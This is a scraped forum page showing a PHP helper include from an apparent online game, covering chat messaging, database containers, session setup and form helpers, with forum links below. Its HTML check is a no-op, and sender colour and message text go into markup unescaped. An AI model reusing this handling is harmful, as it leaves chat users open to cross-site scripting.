  include_once(dirname(__FILE__)."/ipcookie.inc");
  include_once(dirname(__FILE__)."/debug.inc");
  /* include_once(dirname(__FILE__)."/cache.inc"); */
  include_once(dirname(__FILE__)."/database_small.inc");
 
  $container = new Database(HOST_NAME, DATABASE_NAME, DATABASE_USER, DATABASE_PASSWORD);
  $container_session = new Database(SESSION_HOST_NAME, SESSION_DATABASE_NAME, SESSION_DATABASE_USER, SESSION_DATABASE_PASSWORD);
  $container_fight = new Database(FIGHT_HOST_NAME, FIGHT_DATABASE_NAME, FIGHT_DATABASE_USER, FIGHT_DATABASE_PASSWORD);
 
  include_once(dirname(__FILE__)."/cgi.inc");
  include_once(dirname(__FILE__)."/theme.inc");
  include_once(dirname(__FILE__)."/module_small.inc");
 
  include_module(array('session', 'personage', 'area', 'file'));
 
  function include_module($arr) {
    if (is_array($arr))
    foreach ($arr as $item) module_include($item);
  }
 
 
  function print_r1($data) {
    print "<pre>"; print_r($data); print "</pre>";
  }
 
  function make_seed() {
      list($usec,$sec) = explode(" ", microtime());
      return ((float)$sec+(float)$usec) * 100000;
  }
 
  function print_r2($data) {
    global $DOCUMENT_ROOT;
 
    ob_start();
    print_r($data);
    $s = ob_get_contents();
    ob_end_clean();
    $f = fopen($DOCUMENT_ROOT."/dbg.log", "a+");
    fwrite($f, $s);
    fclose($f);
  }
 
  function throw ($exception) {
    global $DOCUMENT_ROOT;
    if (EXCEPTION_STREAM == 1) {
      ob_start();
      trigger_error($exception, E_USER_WARNING);
      $s = ob_get_contents();
      ob_end_clean();
      $f = fopen($DOCUMENT_ROOT."/exception.log", "a+");
      fwrite($f, date("H:i:s").": ".$s.'\n');
      fclose($f);
    } elseif (EXCEPTION_STREAM == 0) {
      if (EXCEPTION_LEVEL == 0) {
      } elseif (EXCEPTION_LEVEL == 1) {
//        $theme = new BaseTheme();
//        print $theme->error($exception);
//        trigger_error($exception, E_USER_WARNING);
      } elseif (EXCEPTION_LEVEL == 2) {
//        trigger_error($exception, E_USER_ERROR);
      }
    }
    if (EXCEPTION_STOP) die;
  }
 
  function moneyFormat($amount = 0)
  {
    return sprintf("%.2f", $amount);
  }
 
  function moneyValue($amount = 0)
  {
    return abs(floatval($amount));
  }
 
  function _pages($total, $offset, $limit) {
    $result = array();
 
    if ($limit < $total) {
      $result[0] = array();
      $result[0]["OFFSET"] = 0;
 
      $index = 0;
      for ($i = 0; $i < $total; $i += $limit) {
        $result[$index] = array();
        $result[$index]["OFFSET"] = $i;
        if ($i == $offset) {
          $result[$index]["SELECTED"] = 1;
          $result["NEXT"] = array();
          $result["NEXT"]["OFFSET"] = (($i+$limit) > $total)? $i : $i+$limit;
          $result["PREV"] = array();
          $result["PREV"]["OFFSET"] = ($i == 0)? 0 : $i-$limit;
        } else {
          $result[$index]["SELECTED"] = 0;
        }
        $index++;
      }
    }
 
    return $result;
  }
 
  function getContainerChat($area_id) {
    global $container, $container_chat;
 
    if (!$area_id) return $container;
 
    $arr = getContainerParam($area_id);
    if ($arr['HOST'] == '') {
      $container_chat = &$container;
    } else
    if (($container->host_name != '') && ($container->host_name == $arr['HOST']) && ($container->database_name == $arr['DATABASE']) && ($container->database_user == $arr['USER'])) {
      $container_chat = &$container;
//      $container_chat = new Database($arr['HOST'], $arr['DATABASE'], $arr['USER'], $arr['PASSWORD']);
    } else {
      $container_chat = new Database($arr['HOST'], $arr['DATABASE'], $arr['USER'], $arr['PASSWORD']);
    }
 
 
    return $container_chat;
  }
 
  function getContainerParam($area_id) {
    global $container, $container_chat, $servers;
 
/*
  для скорости берем напрямую из global $servers    
  
    $list = module_invoke('server', 'list_chat', false, 0, $area_id);
    if (!$list || (count($list) == 0)) return false; # если не определены серверы для чата, то считаем, что чат не разделяется на сервера!
 
    $area = area_get($area_id);
    $container_array = array('HOST' => $area['CHAT_HOST'], 'DATABASE' => $area['CHAT_DATABASE'], 'USER' => $area['CHAT_USER'], 'PASSWORD' => $area['CHAT_PASSWORD']);
    if (!$container_array['HOST']) {
      $container_array['HOST'] = $list[0]['HOST_NAME'];
      $container_array['DATABASE'] = $list[0]['DATABASE_NAME'];
      $container_array['USER'] = $list[0]['USER'];
      $container_array['PASSWORD'] = $list[0]['PASSWORD'];
    }
*/
    $container_array['HOST'] = $servers[0]['HOST_NAME'];
    $container_array['DATABASE'] = $servers[0]['DATABASE_NAME'];
    $container_array['USER'] = $servers[0]['USER'];
    $container_array['PASSWORD'] = $servers[0]['PASSWORD'];
    
    return $container_array;
  }
 
 
  /**
  * Посылка специального сообщения. Функцию можно вызывать откуда угодно, даже оттуда, где нет залогиненной
  * сессии (например из кронов). Также фукнцию можно вызывать для посылки сообщения игроку, находящемуся
  * где угодно, не обязательно в той же точке местоположения, что и текущий залогиненный игрок
  * @param integer $recipient_id - код персонажа, которому посылать сообщение
  * @param string $text - текст сообщение
  */
  function send_chat_special($recipient_id,
                             $text,
                             $recipient_nick = '',
                             $area_id = 0,
                             $service = 100) {
    global $container_chat;
 
    $tmp_container_chat = $container_chat;
 
    if (!$recipient_nick || !$area_id) {
      $recipient = module_invoke('personage', 'get', $recipient_id);
      if (!$recipient_nick) $recipient_nick = $recipient['LOGIN'];
 
      if (!$area_id) {
        $container_chat = getContainerChat($recipient['AREA_ID']); # так как chat_save_system() использует глобальную $container_chat
        $area_id = $recipient['AREA_ID'];
      }
    }
 
    $res = module_invoke('chat', 'save_special', array(
      "AREA_ID" => $area_id,
      "PERSONAGE_ID" => 0,
      "PERSONAGE_LOGIN" => '',
      "RECIPIENT_ID" => $recipient_id,
      "RECIPIENT_LOGIN" => $recipient_nick,
      "SERVICE" => $service,
      "MESSAGE" => "private [".$recipient_nick."]: ".$text,
    ));
 
    $container_chat = $tmp_container_chat;
 
    return $res;
  }
 
  /**
  * Посылка системного сообщения сообщения. Аналог send_chat_special()
  * @param string $text - текст сообщение
  * @param integer $recipient_id - код персонажа, которому посылать сообщение
  */
  function send_chat_system($recipient_id,
                            $text,
                            $service,
                            $recipient_nick = '',
                            $area_id = 0) {
    global $container_chat;
 
    $tmp_container_chat = $container_chat;
 
    if (!$recipient_nick || !$area_id) {
      $recipient = module_invoke('personage', 'get', $recipient_id);
      if (!$recipient_nick) $recipient_nick = $recipient['LOGIN'];
 
      if (!$area_id) {
        $container_chat = getContainerChat($recipient['AREA_ID']); # так как chat_save_system() использует глобальную $container_chat
        $area_id = $recipient['AREA_ID'];
      }
    }
 
    $res = module_invoke('chat', 'save_system', array(
      "AREA_ID" => $area_id,
      "PERSONAGE_ID" => 0,
      "PERSONAGE_LOGIN" => '',
      "RECIPIENT_ID" => $recipient_id,
      "RECIPIENT_LOGIN" => $recipient_nick,
      "SERVICE" => $service,
      "MESSAGE" => $text,
    ));
 
    $container_chat = $tmp_container_chat;
 
    return $res;
  }
 
  function areInTheSameDistrict($area1_id, $area2_id) {
 
    $parents1 = module_invoke('area', 'list_parent', false, $area1_id, " AND A.TYPE_ID=1");
    #print_r2($parents1);
    $parents2 = module_invoke('area', 'list_parent', false, $area2_id, " AND A.TYPE_ID=1");
    #print_r2($parents2);
 
    return ($parents1[0]['ID'] && $parents2[0]['ID'] && ($parents1[0]['ID'] == $parents2[0]['ID'])) ? true : false;
  }
 
  /**
  * Посылка простого сообщения. Функцию "настигает" получателя приватного сообщения в пределах района
  * @param integer $area_id - в какую комнату нужно отправлять сообщение
  * @param integer $sender_id - код персонажа - отправителя сообщения
  * @param string $sender_nick - ник персонажа - отправителя сообщения
  * @param string $sender_color - цвет сообщения персонажа - отправителя сообщения
  * @param integer $recipient_id - код персонажа, которому посылать сообщение
  * @param string $recipient_nick - ник персонажа, которому посылать сообщение
  * @param integer $service - 100 - private, 101 - to
  * @param string $full_msg_text - само сообщение полностью
  * @param string $ip - ip-адрес отправителя
  */
  function send_chat_message($area_id,
                             $sender_id,
                             $sender_nick,
                             $sender_color,
                             $recipient_id,
                             $recipient_nick,
                             $service,
                             $full_msg_text,
                             $ip = '') {
    global $container_chat, $session_personage;
 
    # код отправителя должен быть задан всегда!
    if (!$sender_id) $sender_id = $session_personage['ID'];
 
    # код комнаты назначения и сервис должны быть установлены всегда!
    # if (!isset($area_id) || !isset($service))
    #  return false;
    # текст сообщения должен быть задан всегда! (если код отправителя 0 - значит, посылает администратор)
    if (!trim(strval($full_msg_text)))
      return false;
 
    # если не задан ник отправителя, вычисляем его здесь!
    if (!$sender_nick && $sender_id) {
      $sender = module_invoke('personage', 'get', $sender_id);
      $sender_nick = $sender['LOGIN'];
    }
    # если не задан ник получателя, пытаемся вычислить его здесь; может оказаться пустым, если не задан код получателя - это нормальная ситуация
    if (!$recipient_nick && !$recipient_id) {
      $recipient = module_invoke('personage', 'get', $recipient_id);
      $recipient_nick = $recipient['LOGIN'];
    }
 
    $tmp_container_chat = $container_chat;
    $ip = $ip ? $ip : getIP();
 
    $full_msg_text = '<font color="'.$sender_color.'">'.$full_msg_text.'</font>';
 
    # специальная обработка для приватных сообщений - они должны "настигать" получателя в пределах района!
    if ($service == 100) {
      if (!$sender)
        $sender = module_invoke('personage', 'get', $sender_id);
 
      if ($sender['AREA_ID'] != $area_id) {
        if (!areInTheSameDistrict($sender['AREA_ID'], $area_id)) {
 
          return module_invoke('chat', 'save_message', array( # дубль отправителю привата идет всегда!
            "AREA_ID" => intval($sender['AREA_ID']),
            "PERSONAGE_ID" => intval($sender_id),
            "PERSONAGE_LOGIN" => strval($sender_nick),
            # "PERSONAGE_COLOR" => strval($sender_color),
            "RECIPIENT_ID" => intval($recipient_id),
            "RECIPIENT_LOGIN" => strval($recipient_nick),
            "SERVICE" => intval($service),
            "MESSAGE" => strval($full_msg_text),
            "IP" => strval($ip),
          ));
        }
 
        $container_chat = getContainerChat($area_id);
      }
    }
 
    $res = module_invoke('chat', 'save_message', array(
      "AREA_ID" => intval($area_id),
      "PERSONAGE_ID" => intval($sender_id),
      "PERSONAGE_LOGIN" => strval($sender_nick),
      # "PERSONAGE_COLOR" => strval($sender_color),
      "RECIPIENT_ID" => intval($recipient_id),
      "RECIPIENT_LOGIN" => strval($recipient_nick),
      "SERVICE" => intval($service),
      "MESSAGE" => strval($full_msg_text),
      "IP" => strval($ip),
    ));
 
    $container_chat = $tmp_container_chat;
 
    if ($service == 100 && $sender['AREA_ID'] != $area_id) { # дубль отправителю привата
      module_invoke('chat', 'save_message', array(
        "AREA_ID" => intval($sender['AREA_ID']),
        "PERSONAGE_ID" => intval($sender_id),
        "PERSONAGE_LOGIN" => strval($sender_nick),
        # "PERSONAGE_COLOR" => strval($sender_color),
        "RECIPIENT_ID" => 0,
        "RECIPIENT_LOGIN" => '',
        "SERVICE" => intval($service),
        "MESSAGE" => strval($full_msg_text),
        "IP" => strval($ip),
      ));
    }
 
    return $res;
  }
 
  function check_html_msg($msg) {
    return $msg;
  }
 
  /**
  * Печатает 5 input полей - день, месяц, год, час, минуты
  * @param string $name - база для имен input полей
  * @param string $value - дата, отдельные части которой подставляются в качестве значений input-полей
  * @return string - результат
  */
  function _form_date($name, $value) {
    if ($value) { # value = date("Y-m-d h:m");
      $day1 = substr($value, 8);
      $month1 = substr($value, 5, 2);
      $year1 = substr($value, 0, 4);
      $hour1 = substr($value, 11, 2);
      $min1 = substr($value, 14, 2);
    }
    $result .= "<select name=\"".$name."_day\">\n";
    for ($i = 1; $i < 32; $i++) {
      $result .= "<option value=\"$i\" ".(($day1 == $i)? "SELECTED" : "").">$i\n";
    }
    $result .= "</select>\n";
    $result .= ".&nbsp;<select name=\"".$name."_month\">\n";
    $result .= "<option value=\"01\" ".((intval($month1) == 1)? "SELECTED" : "").">Январь\n";
    $result .= "<option value=\"02\" ".((intval($month1) == 2)? "SELECTED" : "").">Февраль\n";
    $result .= "<option value=\"03\" ".((intval($month1) == 3)? "SELECTED" : "").">Март\n";
    $result .= "<option value=\"04\" ".((intval($month1) == 4)? "SELECTED" : "").">Апрель\n";
    $result .= "<option value=\"05\" ".((intval($month1) == 5)? "SELECTED" : "").">Май\n";
    $result .= "<option value=\"06\" ".((intval($month1) == 6)? "SELECTED" : "").">Июнь\n";
    $result .= "<option value=\"07\" ".((intval($month1) == 7)? "SELECTED" : "").">Июль\n";
    $result .= "<option value=\"08\" ".((intval($month1) == 8)? "SELECTED" : "").">Авгутс\n";
    $result .= "<option value=\"09\" ".((intval($month1) == 9)? "SELECTED" : "").">Сентябрь\n";
    $result .= "<option value=\"10\" ".((intval($month1) == 10)? "SELECTED" : "").">Октябрь\n";
    $result .= "<option value=\"11\" ".((intval($month1) == 11)? "SELECTED" : "").">Ноябрь\n";
    $result .= "<option value=\"12\" ".((intval($month1) == 12)? "SELECTED" : "").">Декабрь\n";
    $result .= "</select>\n";
    $result .= ".&nbsp;<select name=\"".$name."_year\">\n";
    $y = date("Y");
    for ($i = $y; $i < ($y+4); $i++) {
      $result .= "<option value=\"$i\" ".(($year1 == $i)? "SELECTED" : "").">$i\n";
    }
    $result .= "</select>\n";
    $result .= "&nbsp;<select name=\"".$name."_hour\">\n";
    for ($i = 0; $i < 24; $i++) {
      $result .= "<option value=\"$i\" ".(($hour1 == $i)? "SELECTED" : "").">$i\n";
    }
    $result .= "</select>\n";
    $result .= ":&nbsp;<select name=\"".$name."_min\">\n";
    for ($i = 0; $i < 60; $i++) {
      $result .= "<option value=\"$i\" ".(($min1 == $i)? "SELECTED" : "").">$i\n";
    }
    $result .= "</select>\n";
 
    return $result;
  }
 
  function initGlobalVariables($sid) { # используется также в ботах
    global $session, $session_user, $session_personage, $session_area, $container_chat, $session_position;
 
    if ($sid) {
      $session = module_invoke("session", "get", $sid);
      $session_user = module_invoke("session", "get_user", $session["UID"]);
      $session_personage = module_invoke("personage", "get", $session["UID"]);
      $session_area = module_invoke("area", "get", $session_user["AREA_ID"]);
      $session_position = module_invoke("area", "get_position", $session_user["AREA_ID"]);
 
      $container_chat = getContainerChat($session['AREA_ID']);
    }
  }
 
  function varSet($varName = false)
  {
    global $_GET, $_POST;
    if (!$varName)
    {
      return false;
    };
    return isset($_GET[$varName]) || isset($_POST[$varName]) ? true : false;
  }
 
  function getVar($varName = false)
  {
    global $_GET, $_POST;
    if (!$varName)
    {
      return false;
    };
    if (isset($_GET[$varName]))
    {
      return $_GET[$varName];
    };
    if(isset($_POST[$varName]))
    {
      return $_POST[$varName];
    };
    return false;
  }
 
  function nick2html($nick) {
    return str_replace('"', '&quot;', $nick);
  }
  
  global $cronTag, $activeCookie;
  if (!isset($cronTag) || ($cronTag == false))
  {
    $ipaddr = ip2long(getIP());
    if (!isset($_COOKIE["active"]) ||
        (!checkActiveCookie($_COOKIE["active"], $ipaddr)))
    {
    $cookie = generateActiveCookie($ipaddr);                                                                                 
    setcookie("active", $cookie);
    $activeCookie = $cookie;
    }
    else
    {
    $activeCookie = $_COOKIE["active"];
    };
  };
  $cgi = new CGI();
  $theme = new BaseTheme();
  $cache = false;
/*  $cache = new Cache(); */
  $cache = false;
  initGlobalVariables($sid);
  if ($session_user['LOGIN'] == 'root') {
    $container->is_debug = true;
    $container_fight->is_debug = true;
    $container_session->is_debug = true;
    $container_chat->is_debug = true;
  }
?>
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
07.06.2012, 11:40
Помогаю со студенческими работами здесь

Ошибка Parse error: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRIN
При запуске локального сервера, выдает эту ошибку. Parse error: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING...

Ошибка - Parse error: syntax error, unexpected T_STRING, expecting ',' or ';'
&lt;div class=&quot;popup_container&quot;&gt; &lt;div class=&quot;reg_popup&quot;&gt; &lt;form action=&quot;&quot; method=&quot;post&quot; name=&quot;regform&quot;&gt; ...

В чем ошибка Parse error: syntax error, unexpected T_STRING in
Скрипт из примера walletone php 5.3 ошибка Parse error: syntax error, unexpected T_STRING in on line 69 &lt;?php ...

Ошибка - Parse error: syntax error, unexpected 'Егор' (T_STRING)
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt; &lt;html...

Ошибка - Parse error: syntax error, unexpected T_STRING, expecting ',' or ';'
вот код &quot;&lt;table&gt; &lt;tr&gt; &lt;td&gt;&lt;?php the_category(); ?&gt;&lt;/td&gt; &lt;td&gt; , &lt;/td&gt; &lt;td&gt;&lt;a href = &quot;comments_link();...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
20
Ответ Создать тему
Новые блоги и статьи
PhpStorm 2025.3: WSL Terminal всегда стартует в ~
and_y87 14.12.2025
PhpStorm 2025. 3: WSL Terminal всегда стартует в ~ (home), игнорируя директорию проекта Симптом: После обновления до PhpStorm 2025. 3 встроенный терминал WSL открывается в домашней директории. . .
Access
VikBal 11.12.2025
Помогите пожалуйста !! Как объединить 2 одинаковые БД Access с разными данными.
Новый ноутбук
volvo 07.12.2025
Всем привет. По скидке в "черную пятницу" взял себе новый ноутбук Lenovo ThinkBook 16 G7 на Амазоне: Ryzen 5 7533HS 64 Gb DDR5 1Tb NVMe 16" Full HD Display Win11 Pro
Музыка, написанная Искусственным Интеллектом
volvo 04.12.2025
Всем привет. Некоторое время назад меня заинтересовало, что уже умеет ИИ в плане написания музыки для песен, и, собственно, исполнения этих самых песен. Стихов у нас много, уже вышли 4 книги, еще 3. . .
От async/await к виртуальным потокам в Python
IndentationError 23.11.2025
Армин Ронахер поставил под сомнение async/ await. Создатель Flask заявляет: цветные функции - провал, виртуальные потоки - решение. Не threading-динозавры, а новое поколение лёгких потоков. Откат?. . .
Поиск "дружественных имён" СОМ портов
Argus19 22.11.2025
Поиск "дружественных имён" СОМ портов На странице: https:/ / norseev. ru/ 2018/ 01/ 04/ comportlist_windows/ нашёл схожую тему. Там приведён код на С++, который показывает только имена СОМ портов, типа,. . .
Сколько Государство потратило денег на меня, обеспечивая инсулином.
Programma_Boinc 20.11.2025
Сколько Государство потратило денег на меня, обеспечивая инсулином. Вот решила сделать интересный приблизительный подсчет, сколько государство потратило на меня денег на покупку инсулинов. . . .
Ломающие изменения в C#.NStar Alpha
Etyuhibosecyu 20.11.2025
Уже можно не только тестировать, но и пользоваться C#. NStar - писать оконные приложения, содержащие надписи, кнопки, текстовые поля и даже изображения, например, моя игра "Три в ряд" написана на этом. . .
Мысли в слух
kumehtar 18.11.2025
Кстати, совсем недавно имел разговор на тему медитаций с людьми. И обнаружил, что они вообще не понимают что такое медитация и зачем она нужна. Самые базовые вещи. Для них это - когда просто люди. . .
Создание Single Page Application на фреймах
krapotkin 16.11.2025
Статья исключительно для начинающих. Подходы оригинальностью не блещут. В век Веб все очень привыкли к дизайну Single-Page-Application . Быстренько разберем подход "на фреймах". Мы делаем одну. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2025, CyberForum.ru